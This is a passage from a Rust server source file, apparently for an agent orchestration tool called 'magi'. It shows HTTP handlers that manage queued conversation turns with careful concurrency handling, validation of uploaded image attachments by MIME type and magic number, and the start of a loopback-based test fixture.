4344            // would otherwise leave the draft persisted and the reclaimed
4345            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
4346            // ever started and the queued text stranded until some later
4347            // `say` happened to pick it up. The caller's 202 travels back
4348            // over a `oneshot`, sent the moment the write lands.
4349            let (tx, rx) = tokio::sync::oneshot::channel();
4350            tokio::spawn({
4351                let ui = Arc::clone(&ui);
4352                let id = id.clone();
4353                let said = body.text.clone();
4354                async move {
4355                    let written = blocking({
4356                        let ui = Arc::clone(&ui);
4357                        let id = id.clone();
4358                        move || {
4359                            let mut talk = ui.talks.get(&id)?;
4360                            // A test-only stop point, right before the write
4361                            // an interleaving test needs to pin - see
4362                            // `BusyQueueGate`. `None` in every real server:
4363                            // the field only exists under `#[cfg(test)]`.
4364                            #[cfg(test)]
4365                            if let Some(gate) = ui
4366                                .busy_queue_gate
4367                                .lock()
4368                                .unwrap_or_else(PoisonError::into_inner)
4369                                .take()
4370                            {
4371                                let _ = gate.reached.send(());
4372                                let _ = gate.release.recv();
4373                            }
4374                            if let Err(error) =
4375                                talk::queue(&mut talk, &ui.talks, &said, attachments)
4376                            {
4377                                if let Ok(fresh) = ui.talks.get(&id) {
4378                                    if !fresh.status.open() {
4379                                        return Err(ApiError::conflict(format!(
4380                                            "talk {} is {} and takes no more turns",
4381                                            fresh.short(),
4382                                            fresh.status.as_str()
4383                                        )));
4384                                    }
4385                                }
4386                                return Err(ApiError::from(error));
4387                            }
4388                            // The turn that looked busy a moment ago can have
4389                            // finished, found nothing to drain and given up the
4390                            // slot in the gap between that check and this write
4391                            // landing - see `drain_loop`'s own doc for the other
4392                            // half of why that gap would otherwise be able to
4393                            // open at all. Reclaiming the slot here, rather than
4394                            // trusting that whoever held it is still watching, is
4395                            // what stops the text just queued from being stranded
4396                            // until an unrelated future `say` happens to drain
4397                            // it.
4398                            let claim = match ui.begin_queued_talk_turn(&id)? {
4399                                Some(turn_guard) => {
4400                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4401                                    Some((talk.clone(), cfg, turn_guard))
4402                                }
4403                                None => None,
4404                            };
4405                            let thinking = ui.is_thinking(&id);
4406                            Ok((TalkView::new(talk, thinking), claim))
4407                        }
4408                    })
4409                    .await;
4410                    let (view, reclaimed) = match written {
4411                        Ok(pair) => pair,
4412                        Err(e) => {
4413                            // Nobody is listening if the handler's own future
4414                            // was already dropped - that is fine, nothing was
4415                            // persisted and there is no response left to carry
4416                            // this error to.
4417                            let _ = tx.send(Err(e));
4418                            return;
4419                        }
4420                    };
4421                    // If this fails, the caller is gone; the drain below still
4422                    // runs exactly as it would have for a caller that stayed.
4423                    let _ = tx.send(Ok(view));
4424                    if let Some((talk, cfg, turn_guard)) = reclaimed {
4425                        let talks = ui.talks.clone();
4426                        drain_loop(talk, talks, cfg, id, turn_guard).await;
4427                    }
4428                }
4429            });
4430            let view = rx
4431                .await
4432                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4433            return Ok((StatusCode::ACCEPTED, Json(view)));
4434        }
4435    };
4436
4437    let (talk, cfg) = {
4438        let ui = Arc::clone(&ui);
4439        let id = id.clone();
4440        blocking(move || {
4441            let talk = ui.talks.get(&id)?;
4442            let (cfg, _) = Config::discover(&talk.repo, None)?;
4443            Ok((talk, cfg))
4444        })
4445        .await?
4446    };
4447
4448    let talks = ui.talks.clone();
4449    // `record` runs *inside* the spawned task, rather than in this handler
4450    // followed by a separate `tokio::spawn` for `respond` - axum drops this
4451    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
4452    // doc), and that drop can land at any `.await` this function makes,
4453    // including one that has already produced its result but not yet
4454    // resumed. A message could end up recorded on disk with the handler
4455    // future gone before it ever reached the `tokio::spawn` that would have
4456    // started the reply. `tokio::spawn` itself is a plain, synchronous call
4457    // that hands the whole future to the runtime as one unit - once made, no
4458    // later drop of *this* handler's own future (that call's return value is
4459    // never held onto here) can reach back in and stop it, so record and the
4460    // hand-off to `respond` are unconditionally atomic from the client's
4461    // point of view. The immediate response this handler owes the caller
4462    // travels back over a `oneshot`, sent the moment `record` succeeds.
4463    let (tx, rx) = tokio::sync::oneshot::channel();
4464    tokio::spawn({
4465        let ui = Arc::clone(&ui);
4466        let talks = talks.clone();
4467        let id = id.clone();
4468        let said = body.text.clone();
4469        let mut talk = talk.clone();
4470        async move {
4471            let recorded = blocking({
4472                let talks = talks.clone();
4473                move || {
4474                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
4475                        if let Ok(fresh) = talks.get(&talk.id) {
4476                            if !fresh.status.open() {
4477                                return Err(ApiError::conflict(format!(
4478                                    "talk {} is {} and takes no more turns",
4479                                    fresh.short(),
4480                                    fresh.status.as_str()
4481                                )));
4482                            }
4483                        }
4484                        return Err(ApiError::from(error));
4485                    }
4486                    // `record` mutates `talk` in place to the freshly persisted
4487                    // state (status, pending, and the just-appended operator
4488                    // turn), so returning it here is equivalent to re-reading it
4489                    // from disk - without the extra round trip a re-read would
4490                    // need.
4491                    Ok((said.trim().to_owned(), talk))
4492                }
4493            })
4494            .await;
4495            let (text, mut talk) = match recorded {
4496                Ok(pair) => pair,
4497                Err(e) => {
4498                    // Nobody is listening if the handler's own future was
4499                    // already dropped - that is fine, there is no response
4500                    // left to carry this error to and nothing was persisted.
4501                    let _ = tx.send(Err(e));
4502                    return;
4503                }
4504            };
4505            let queued = talk.clone();
4506            let thinking = ui.is_thinking(&id);
4507            // If this fails, the caller is gone; the turn still runs below
4508            // exactly as it would have for a caller that stayed connected.
4509            let _ = tx.send(Ok((queued, thinking)));
4510
4511            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
4512                // `respond` records the failure in the transcript itself,
4513                // which is what the phone reads; this line is for the
4514                // operator's terminal.
4515                tracing::warn!("talk {id} turn failed: {e:#}");
4516            }
4517            // Anything `talk::queue` added while the turn above was running
4518            // is still owed an answer - see `drain_loop`.
4519            drain_loop(talk, talks, cfg, id, turn_guard).await;
4520        }
4521    });
4522
4523    let (queued, thinking) = rx
4524        .await
4525        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
4526
4527    // 202: the operator's message is recorded and a turn is running.
4528    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
4529}
4530
4531/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
4532/// changing it. The turn guard is the same per-talk ownership `talk_say`
4533/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
4534async fn talk_pending_resume(
4535    State(ui): State<Arc<Ui>>,
4536    Path(id): Path<String>,
4537) -> ApiResult<(StatusCode, Json<TalkView>)> {
4538    let id = {
4539        let ui = Arc::clone(&ui);
4540        let asked = id.clone();
4541        blocking(move || resolve_talk(&ui.talks, &asked)).await?
4542    };
4543    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
4544        return Err(ApiError::conflict(
4545            "a talk turn is already running; the queued draft will be handled by it",
4546        ));
4547    };
4548    let (talk, cfg) = {
4549        let ui = Arc::clone(&ui);
4550        let id = id.clone();
4551        blocking(move || {
4552            let talk = ui.talks.get(&id)?;
4553            if !talk.status.open() {
4554                return Err(ApiError::conflict(format!(
4555                    "talk {} is {} and takes no more turns",
4556                    talk.short(),
4557                    talk.status.as_str()
4558                )));
4559            }
4560            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
4561                return Err(ApiError::conflict("there is no queued draft to resume"));
4562            }
4563            let (cfg, _) = Config::discover(&talk.repo, None)?;
4564            Ok((talk, cfg))
4565        })
4566        .await?
4567    };
4568    let view = TalkView::new(talk.clone(), true);
4569    let talks = ui.talks.clone();
4570    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4571    Ok((StatusCode::ACCEPTED, Json(view)))
4572}
4573
4574/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
4575/// releasing `turn` only once a check finds it truly empty. Shared by both
4576/// callers that can end up owning a talk's turn slot with something already
4577/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
4578/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
4579/// holder just gave up - see the comment at that call site.
4580///
4581/// The release is folded into the final generation check under `turn`'s own
4582/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
4583/// free". Before its blocking `talk::drain`, this loop observes the queued
4584/// generation. A `say` that sees the turn busy writes its draft, then advances
4585/// that generation. Thus, if it lands while the drain is in flight, the final
4586/// check observes the advance and drains again; otherwise it releases the
4587/// claim while holding the same lock. This keeps the release/arrival handoff
4588/// atomic without holding the global claim mutex across filesystem I/O.
4589async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
4590    let live_set = Arc::clone(&turn.turns);
4591    // `Option` rather than binding `turn` directly to a `_turn` that lives
4592    // for the whole function: releasing it has to happen by calling
4593    // `TalkTurnGuard::release` from inside the locked branch below, which
4594    // takes `self` by value. Left as a plain drop instead, `Drop` would still
4595    // remove the id - correctly, if this loop is ever left some other way -
4596    // but doing it there misses the lock this loop is already holding, which
4597    // is the exact gap `release` exists to close.
4598    let mut turn = Some(turn);
4599    loop {
4600        // `talk::drain` takes the store lock and can write/rename the talk
4601        // file. Keep the turn mutex out of that synchronous work: it protects
4602        // every talk's in-memory claim, not this talk's disk operation.
4603        let observed = live_set
4604            .lock()
4605            .unwrap_or_else(PoisonError::into_inner)
4606            .queued
4607            .get(&id)
4608            .copied()
4609            .unwrap_or(0);
4610        let drained = blocking({
4611            let talks = talks.clone();
4612            move || {
4613                let result = talk::drain(&mut talk, &talks);
4614                Ok((talk, result))
4615            }
4616        })
4617        .await;
4618        let (next_talk, result) = match drained {
4619            Ok(drained) => drained,
4620            Err(e) => {
4621                tracing::warn!(
4622                    status = %e.status,
4623                    message = %e.message,
4624                    "talk {id} could not start queued-text drain"
4625                );
4626                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4627                turn.take()
4628                    .expect("held for the whole loop until released here")
4629                    .release(&mut live);
4630                break;
4631            }
4632        };
4633        talk = next_talk;
4634        let drained = match result {
4635            Ok(Some(drained)) => drained,
4636            Ok(None) => {
4637                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4638                if live.queued.get(&id).copied().unwrap_or(0) != observed {
4639                    continue;
4640                }
4641                turn.take()
4642                    .expect("held for the whole loop until released here")
4643                    .release(&mut live);
4644                break;
4645            }
4646            Err(e) => {
4647                tracing::warn!("talk {id} could not drain queued text: {e:#}");
4648                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
4649                turn.take()
4650                    .expect("held for the whole loop until released here")
4651                    .release(&mut live);
4652                break;
4653            }
4654        };
4655        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
4656            tracing::warn!("talk {id} turn failed: {e:#}");
4657        }
4658    }
4659}
4660
4661/// Clear a queued draft only if it remains exactly the one the caller saw.
4662async fn talk_pending_clear(
4663    State(ui): State<Arc<Ui>>,
4664    Path(id): Path<String>,
4665    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
4666) -> ApiResult<Json<TalkView>> {
4667    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4668    blocking(move || {
4669        let id = resolve_talk(&ui.talks, &id)?;
4670        let mut talk = ui.talks.get(&id)?;
4671        if !talk.status.open() {
4672            return Err(ApiError::conflict(format!(
4673                "talk {} is {} and takes no more turns",
4674                talk.short(),
4675                talk.status.as_str()
4676            )));
4677        }
4678        if !talk::clear_pending_if_matches(
4679            &mut talk,
4680            &ui.talks,
4681            &body.expected_text,
4682            &body.expected_attachments,
4683        )? {
4684            return Err(ApiError::conflict(
4685                "queued message changed; reload it before clearing",
4686            ));
4687        }
4688        let thinking = ui.is_thinking(&talk.id);
4689        Ok(Json(TalkView::new(talk, thinking)))
4690    })
4691    .await
4692}
4693
4694/// Atomically edit a queued draft's text while preserving its attachments.
4695/// The snapshot fields make a concurrent queue or drain a conflict rather
4696/// than silently discarding either message.
4697async fn talk_pending_edit(
4698    State(ui): State<Arc<Ui>>,
4699    Path(id): Path<String>,
4700    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
4701) -> ApiResult<Json<TalkView>> {
4702    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
4703    let (view, reclaimed) = blocking({
4704        let ui = Arc::clone(&ui);
4705        move || {
4706            let id = resolve_talk(&ui.talks, &id)?;
4707            let mut talk = ui.talks.get(&id)?;
4708            if !talk.status.open() {
4709                return Err(ApiError::conflict(format!(
4710                    "talk {} is {} and takes no more turns",
4711                    talk.short(),
4712                    talk.status.as_str()
4713                )));
4714            }
4715            if !talk::edit_pending_text(
4716                &mut talk,
4717                &ui.talks,
4718                &body.text,
4719                &body.expected_text,
4720                &body.expected_attachments,
4721            )? {
4722                return Err(ApiError::conflict(
4723                    "queued message changed; reload it before editing",
4724                ));
4725            }
4726            let claim = match ui.begin_queued_talk_turn(&id)? {
4727                Some(turn_guard) => {
4728                    let (cfg, _) = Config::discover(&talk.repo, None)?;
4729                    Some((talk.clone(), cfg, id.clone(), turn_guard))
4730                }
4731                None => None,
4732            };
4733            let thinking = ui.is_thinking(&id);
4734            Ok((TalkView::new(talk, thinking), claim))
4735        }
4736    })
4737    .await?;
4738    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
4739        let talks = ui.talks.clone();
4740        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
4741    }
4742    Ok(Json(view))
4743}
4744
4745/// `POST /api/talks/{id}/close`.
4746async fn talk_close(
4747    State(ui): State<Arc<Ui>>,
4748    Path(id): Path<String>,
4749) -> ApiResult<Json<TalkView>> {
4750    blocking(move || {
4751        let id = resolve_talk(&ui.talks, &id)?;
4752        let mut talk = ui.talks.get(&id)?;
4753        talk::close(&mut talk, &ui.talks)?;
4754        let thinking = ui.is_thinking(&talk.id);
4755        Ok(Json(TalkView::new(talk, thinking)))
4756    })
4757    .await
4758}
4759
4760/// `POST /api/talks/{id}/reopen`.
4761async fn talk_reopen(
4762    State(ui): State<Arc<Ui>>,
4763    Path(id): Path<String>,
4764) -> ApiResult<Json<TalkView>> {
4765    blocking(move || {
4766        let id = resolve_talk(&ui.talks, &id)?;
4767        let mut talk = ui.talks.get(&id)?;
4768        talk::reopen(&mut talk, &ui.talks)?;
4769        let thinking = ui.is_thinking(&talk.id);
4770        Ok(Json(TalkView::new(talk, thinking)))
4771    })
4772    .await
4773}
4774
4775/// `DELETE /api/talks/{id}`.
4776///
4777/// Removes the conversation's record and artifacts outright, unlike
4778/// [`talk_close`] which keeps the record as history. A turn already in
4779/// flight is not refused here the way [`run_delete`] refuses a live run:
4780/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
4781/// under [`Talks::guard`], that the record they are about to write back is
4782/// still there, so a delete racing a turn is safe without this route having
4783/// to know a turn is running at all.
4784async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4785    blocking(move || {
4786        let id = resolve_talk(&ui.talks, &id)?;
4787        ui.talks.remove(&id)?;
4788        Ok(StatusCode::NO_CONTENT)
4789    })
4790    .await
4791}
4792
4793/// Expand an id or short id to exactly one talk id.
4794fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
4795    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
4796}
4797
4798/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
4799/// future `talk-say`.
4800async fn talk_attachment_post(
4801    State(ui): State<Arc<Ui>>,
4802    Path(id): Path<String>,
4803    headers: HeaderMap,
4804    body: Bytes,
4805) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
4806    let mime = validate_attachment(&headers, &body)?;
4807    let name = filename_header(&headers);
4808    let data = body.to_vec();
4809    blocking(move || {
4810        let id = resolve_talk(&ui.talks, &id)?;
4811        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
4812        Ok((StatusCode::CREATED, Json(att)))
4813    })
4814    .await
4815}
4816
4817/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
4818/// `<img>` tag in the transcript.
4819async fn talk_attachment_get(
4820    State(ui): State<Arc<Ui>>,
4821    Path((id, att)): Path<(String, String)>,
4822) -> ApiResult<Response> {
4823    blocking(move || {
4824        let id = resolve_talk(&ui.talks, &id)?;
4825        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
4826            return Err(ApiError::not_found(format!(
4827                "talk {id} has no attachment `{att}`"
4828            )));
4829        };
4830        Ok(attachment_response(&meta.mime, data))
4831    })
4832    .await
4833}
4834
4835/// Validate an attachment upload's declared `Content-Type` and the bytes
4836/// themselves, returning the canonical mime on success.
4837///
4838/// Two checks, both required: the header has to name one of
4839/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
4840/// simply never in the list, active content rather than a picture, the same
4841/// exclusion [`asset_content_type`]'s doc explains), and the file's own
4842/// magic number has to agree. The second is what stops a mislabeled upload -
4843/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
4844/// a declared type is a claim, not a fact, so it is never trusted alone.
4845fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
4846    if data.len() > ATTACHMENT_MAX_BYTES {
4847        return Err(ApiError::bad_request(format!(
4848            "attachment is {} bytes, over the {} MiB limit",
4849            data.len(),
4850            ATTACHMENT_MAX_BYTES / (1024 * 1024)
4851        ))
4852        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
4853    }
4854    if data.is_empty() {
4855        return Err(ApiError::bad_request("attachment is empty"));
4856    }
4857    let declared = declared_mime(headers)?;
4858    match sniffed_mime(data) {
4859        Some(sniffed) if sniffed == declared => Ok(declared),
4860        Some(sniffed) => Err(ApiError::bad_request(format!(
4861            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
4862        ))),
4863        None => Err(ApiError::bad_request(
4864            "the file's bytes do not match any accepted image format",
4865        )),
4866    }
4867}
4868
4869/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
4870/// and nothing else - parameters like `; charset=` are stripped, but the
4871/// value itself is not otherwise interpreted.
4872fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
4873    let raw = headers
4874        .get(header::CONTENT_TYPE)
4875        .and_then(|v| v.to_str().ok())
4876        .unwrap_or("")
4877        .split(';')
4878        .next()
4879        .unwrap_or("")
4880        .trim()
4881        .to_ascii_lowercase();
4882    ATTACHMENT_MIME_WHITELIST
4883        .iter()
4884        .find(|&&m| m == raw)
4885        .copied()
4886        .ok_or_else(|| {
4887            if raw == "image/svg+xml" {
4888                ApiError::bad_request(
4889                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
4890                     not just a picture",
4891                )
4892            } else if raw.is_empty() {
4893                ApiError::bad_request("Content-Type is required for an attachment upload")
4894            } else {
4895                ApiError::bad_request(format!(
4896                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
4897                     image/gif or image/webp"
4898                ))
4899            }
4900        })
4901}
4902
4903/// Identify an image by its magic number, independent of whatever
4904/// `Content-Type` claimed.
4905fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
4906    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
4907        Some("image/png")
4908    } else if data.starts_with(b"\xff\xd8\xff") {
4909        Some("image/jpeg")
4910    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
4911        Some("image/gif")
4912    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
4913        Some("image/webp")
4914    } else {
4915        None
4916    }
4917}
4918
4919/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
4920/// display - see [`talk::Attachment::name`]'s doc on why it never
4921/// contributes to a path. A missing or blank header (curl without it, an
4922/// older front end) falls back to a generic name rather than refusing the
4923/// upload over a field that is cosmetic.
4924fn filename_header(headers: &HeaderMap) -> String {
4925    headers
4926        .get(FILENAME_HEADER)
4927        .and_then(|v| v.to_str().ok())
4928        .map(str::trim)
4929        .filter(|s| !s.is_empty())
4930        .unwrap_or("attachment")
4931        .to_owned()
4932}
4933
4934/// Every attachment `GET` response: the mime re-validated against the same
4935/// closed whitelist the upload route enforces - never the string trusted
4936/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
4937/// cannot decide it knows better than the type we send. Unlike a panel asset
4938/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
4939/// document renders inline, not agent-authored HTML in a sandboxed frame.
4940fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
4941    let content_type = ATTACHMENT_MIME_WHITELIST
4942        .iter()
4943        .find(|&&m| m == mime)
4944        .copied()
4945        .unwrap_or("application/octet-stream");
4946    (
4947        [
4948            (header::CONTENT_TYPE, content_type),
4949            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4950        ],
4951        body,
4952    )
4953        .into_response()
4954}
4955
4956/// The configuration for a repository, read off the disk for this request.
4957///
4958/// Through [`blocking`] because discovery reads and merges several TOML files,
4959/// and because the alternative - caching it in [`Ui`] at startup - would mean
4960/// the operator's phone kept interviewing with a roster they had already
4961/// changed, with no way to reload it but restarting the server they are not
4962/// sitting in front of.
4963async fn config_for(repo: &FsPath) -> ApiResult<Config> {
4964    let repo = repo.to_path_buf();
4965    blocking(move || {
4966        let (cfg, _) = Config::discover(&repo, None)?;
4967        Ok(cfg)
4968    })
4969    .await
4970}
4971
4972/// The one prefix rule, used for both runs and tasks: a leading match for a
4973/// full id, a trailing match for the short form an operator reads off a
4974/// report. Written here rather than borrowed from `queue::resolve_id` because
4975/// the UI needs the two failures as different status codes, and telling them
4976/// apart from an error message is not something to build a route on.
4977fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
4978    let mut hits = ids
4979        .into_iter()
4980        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
4981    match (hits.next(), hits.next()) {
4982        (Some(one), None) => Ok(one),
4983        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
4984        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
4985            "`{prefix}` matches more than one {what}, including {a} and {b}"
4986        ))),
4987    }
4988}
4989
4990#[cfg(test)]
4991mod tests {
4992
4993    #[test]
4994    fn holder_reads_the_lease_not_the_record() {
4995        let mut q = Question::new(
4996            "run".to_owned(),
4997            "implement".to_owned(),
4998            "impl-A".to_owned(),
4999            "which?".to_owned(),
5000            String::new(),
5001            Vec::new(),
5002        );
5003        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
5004        q.cwd = Some("/tmp".to_owned());
5005        assert_eq!(holder_of(&q, None), Some("nobody"));
5006        let beat = |kind, ago: i64| ask::Lease {
5007            kind,
5008            pid: 1,
5009            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
5010                .unwrap(),
5011        };
5012        let fresh = beat(ask::WaiterKind::Asker, 1);
5013        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
5014        let daemon = beat(ask::WaiterKind::Daemon, 1);
5015        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
5016        let stale = beat(ask::WaiterKind::Asker, 3600);
5017        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
5018    }
5019    use pretty_assertions::assert_eq;
5020    use serde_json::Value;
5021    use tempfile::TempDir;
5022    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
5023
5024    use super::*;
5025    use crate::config::Config;
5026    use crate::queue::{Source, TaskStatus};
5027
5028    /// How many 10ms steps a settle loop takes before it calls a stall a
5029    /// stall - thirty seconds.
5030    ///
5031    /// These loops wait on real `sh` subprocesses, and the machine that runs
5032    /// the gate runs several suites at once, so a two-second budget was not
5033    /// waiting for the reply, it was racing the scheduler: two of these
5034    /// tests failed under that load with the turn simply not landed yet.
5035    /// This is a hang guard, not a latency assertion - every loop breaks the
5036    /// moment its condition holds, so a generous cap costs an idle machine
5037    /// nothing and still fails a genuine hang instead of hanging the suite.
5038    const SETTLE_STEPS: usize = 3_000;
5039
5040    /// A home with a queue and a runs directory, and a router serving it on
5041    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
5042    /// dependency, not ours - so the tests drive a real socket, which has the
5043    /// side benefit of asserting the status line and content types the phone
5044    /// actually receives.
5045    struct Fixture {
5046        home: TempDir,
5047        addr: SocketAddr,
5048    }
5049
5050    impl Fixture {
5051        async fn start() -> Self {
5052            Self::with_loop(launch_idle).await
5053        }
5054
5055        /// A fixture whose loop is `launch`.
5056        async fn with_loop(launch: Launch) -> Self {
5057            let home = TempDir::new().expect("temp home");
5058            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
5059            Self { home, addr }
5060        }
5061
5062        /// A fixture whose `ui.repo` is a real directory rather than the
5063        /// usual placeholder - for the routes that read config off it
5064        /// (`GET /api/repos`) and would otherwise have nothing to discover.
5065        async fn with_repo(repo: PathBuf) -> Self {
5066            let home = TempDir::new().expect("temp home");
5067            let addr = Self::serve(home.path(), repo, launch_idle).await;
5068            Self { home, addr }
5069        }
5070
5071        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
5072            let queue = Queue::at(home.join("queue"));
5073            let runs = home.join("runs");
5074            std::fs::create_dir_all(&runs).expect("runs dir");
5075            let worktrees = home.join("wt").join("magi");
5076            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
5077            let ui = Ui::new(
5078                queue,
5079                Questions::at(home.join("questions")),
5080                Talks::at(home.join("talks")),
5081                runs,
5082                home.to_path_buf(),
5083                repo,
5084            )
5085            .with_worktrees_root(worktrees)
5086            .with_launch(launch);
5087            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
5088                .await
5089                .expect("bind loopback");
5090            let addr = listener.local_addr().expect("local addr");
5091            tokio::spawn(async move {
5092                let _ = axum::serve(listener, ui.router()).await;
5093            });
5094            addr
5095        }
5096
5097        fn queue(&self) -> Queue {
5098            Queue::at(self.home.path().join("queue"))
5099        }
5100
5101        fn questions(&self) -> Questions {
5102            Questions::at(self.home.path().join("questions"))
5103        }
5104
5105        fn talks(&self) -> Talks {
5106            Talks::at(self.home.path().join("talks"))
5107        }
5108
5109        fn runs(&self) -> PathBuf {
5110            self.home.path().join("runs")
5111        }
5112
5113        async fn get(&self, path: &str) -> Res {
5114            request(self.addr, "GET", path, None).await
5115        }
5116
5117        /// The status and headers without the body, which is how the front end
5118        /// preflights a panel: a sandboxed frame is opaque to the parent
5119        /// document, so the only way to tell "no panel" from "a panel that
5120        /// rendered blank" is to ask before mounting.
5121        async fn head(&self, path: &str) -> Res {
5122            request(self.addr, "HEAD", path, None).await
5123        }
5124
5125        async fn post(&self, path: &str, body: Option<&str>) -> Res {
5126            request(self.addr, "POST", path, body).await
5127        }
5128
5129        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
5130            request_with(self.addr, "GET", path, None, extra).await
5131        }
5132
5133        async fn delete(&self, path: &str) -> Res {
5134            request(self.addr, "DELETE", path, None).await
5135        }
5136
5137        /// `POST` a raw body with its own headers - see [`request_bytes`].
5138        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
5139            request_bytes(self.addr, path, headers, body).await
5140        }
5141    }
5142
5143    struct Res {
5144        status: u16,
5145        headers: String,
5146        /// The header block with its original casing, for the assertions that
5147        /// compare a header *value* rather than looking for a name. Lowercasing
5148        /// a CSP would hide a directive spelled with a capital letter, and the
5149        /// whole point of that test is that the string is exactly right.
5150        head: String,
5151        body: String,
5152        /// The body before any UTF-8 handling, for the routes that serve
5153        /// something other than text. A panel asset is a PNG as often as not,
5154        /// and `from_utf8_lossy` would silently replace half of it.
5155        bytes: Vec<u8>,
5156    }
5157
5158    impl Res {
5159        fn json(&self) -> Value {
5160            serde_json::from_str(&self.body)
5161                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
5162        }
5163
5164        /// One header's value verbatim, or `None` when it was not sent.
5165        fn header(&self, name: &str) -> Option<&str> {
5166            self.head.lines().find_map(|line| {
5167                let (key, value) = line.split_once(':')?;
5168                key.trim()
5169                    .eq_ignore_ascii_case(name)
5170                    .then(|| value.trim_start().trim_end_matches('\r'))
5171            })
5172        }
5173    }
5174
5175    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
5176    /// be read to end-of-stream without parsing framing.
5177    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
5178        request_with(addr, method, path, body, &[]).await
5179    }
5180
5181    /// As [`request`], with extra request headers - conditional GETs need
5182    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
5183    /// worse than one that sets none.
5184    async fn request_with(
5185        addr: SocketAddr,
5186        method: &str,
5187        path: &str,
5188        body: Option<&str>,
5189        extra: &[(&str, &str)],
5190    ) -> Res {
5191        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
5192        for (name, value) in extra {
5193            head.push_str(&format!("{name}: {value}\r\n"));
5194        }
5195        if let Some(body) = body {
5196            head.push_str("Content-Type: application/json\r\n");
5197            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
5198        }
5199        head.push_str("\r\n");
5200        if let Some(body) = body {
5201            head.push_str(body);
5202        }
5203        let mut socket = tokio::net::TcpStream::connect(addr)
5204            .await
5205            .expect("connect to the test server");
5206        socket
5207            .write_all(head.as_bytes())
5208            .await
5209            .expect("write request");
5210        let mut raw = Vec::new();
5211        socket.read_to_end(&mut raw).await.expect("read response");
5212        // Split on the raw bytes rather than on a lossy string, so a binary
5213        // body survives to be compared byte for byte.
5214        let split = raw
5215            .windows(4)
5216            .position(|w| w == b"\r\n\r\n")
5217            .expect("a header block");
